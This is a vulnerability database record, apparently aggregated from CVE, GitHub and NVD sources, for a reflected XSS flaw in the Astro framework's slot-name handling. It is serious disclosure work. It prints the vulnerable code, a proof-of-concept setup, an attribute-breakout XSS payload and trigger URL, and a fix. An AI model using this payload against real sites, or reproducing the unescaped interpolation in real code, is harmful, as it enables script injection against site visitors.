{"id":"CVE-2026-50146","aliases":["CVE-2026-50146","GHSA-8hv8-536x-4wqp"],"related":[],"kind":"vulnerability","state":"published","title":"Astro: Reflected XSS via unescaped slot name","summary":"Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nWhen a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.\n\nThis is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.\n\n## Vulnerable Code\n\n`packages/astro/src/runtime/server/render/component.ts:371:376`\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${key}\"` : ''}>${children[key]}</template>`\n```\n\nI found that key is interpolated directly into the attribute value without proper escaping.\n\n## Proof of Concept\n\nFor the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.\n\n**`astro.config.mjs`**\n```js\nimport react from '@astrojs/react';\nimport node from '@astrojs/node';\nimport { defineConfig } from 'astro/config';\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  integrations: [react()],\n});\n```\n\n**`src/pages/index.astro`**\n```astro\n---\nimport Wrapper from '../components/Wrapper.jsx';\nconst slotName = Astro.url.searchParams.get('tab') ?? 'default';\n---\n<html><body>\n  <Wrapper client:load>\n    <div slot={slotName}>content</div>\n  </Wrapper>\n</body></html>\n```\n\n**`src/components/Wrapper.jsx`**\n```jsx\nexport default function Wrapper() { return null; }\n```\n\n**Payload:**\n```\nabc\"></template></astro-island><img src=x onerror=confirm(document.domain)><!--\n```\nAccessing this URL will trigger the popup.\n\nhttp://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--\n\n\n\n<img width=\"1268\" height=\"592\" alt=\"image\" src=\"https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7\" />\n\n\n\nThis will render in html.\n\n```html\n<template data-astro-template=\"abc\"></template></astro-island>\n<img src=x onerror=confirm(document.domain)><!--\">content</template>\n```\n\n## Fix\n\nI suggest leveraging the existing escape function on the slot name.\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${escapeHTML(String(key))}\"` : ''}>${children[key]}</template>`\n```\n\n---","format":"markdown","source":"ghsa"},{"lang":"es","text":"Astro es un framework web. Antes de la versión 6.3.3, cuando un componente utiliza una directiva client:*, Astro inserta contenido de slot con nombre en un atributo data-astro-template sin escapar el nombre del slot en HTML, permitiendo a un atacante salir del contexto del atributo e inyectar HTML arbitrario, lo que resulta en XSS reflejado durante el SSR. Esta vulnerabilidad se corrigió en la versión 6.3.3.","source":"nvd"}],"published":"2026-06-16T14:05:06.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","score":7.1,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-80"],"affected":[{"ranges":[{"version":"< 6.3.3","status":"affected"}],"vendor":"withastro","product":"astro","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.3.3"}],"ecosystem":"npm","package":"astro","purl":"pkg:npm/astro","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"6.3.3"}],"vendor":"astro","product":"astro","cpe":"cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50146","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/withastro/astro","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-23T14:10:27.383Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-50146","url":"https://www.cve.org/CVERecord?id=CVE-2026-50146","licence":"CVE Terms of Use","modified":"2026-06-23T14:11:04.510Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8hv8-536x-4wqp","url":"https://github.com/advisories/GHSA-8hv8-536x-4wqp","licence":"CC-BY-4.0","modified":"2026-08-12T20:45:07.780Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-50146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50146","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:25.402Z","epss":{"score":0.00268,"percentile":0.11838,"date":"2026-11-30T12:00:22.000Z"}}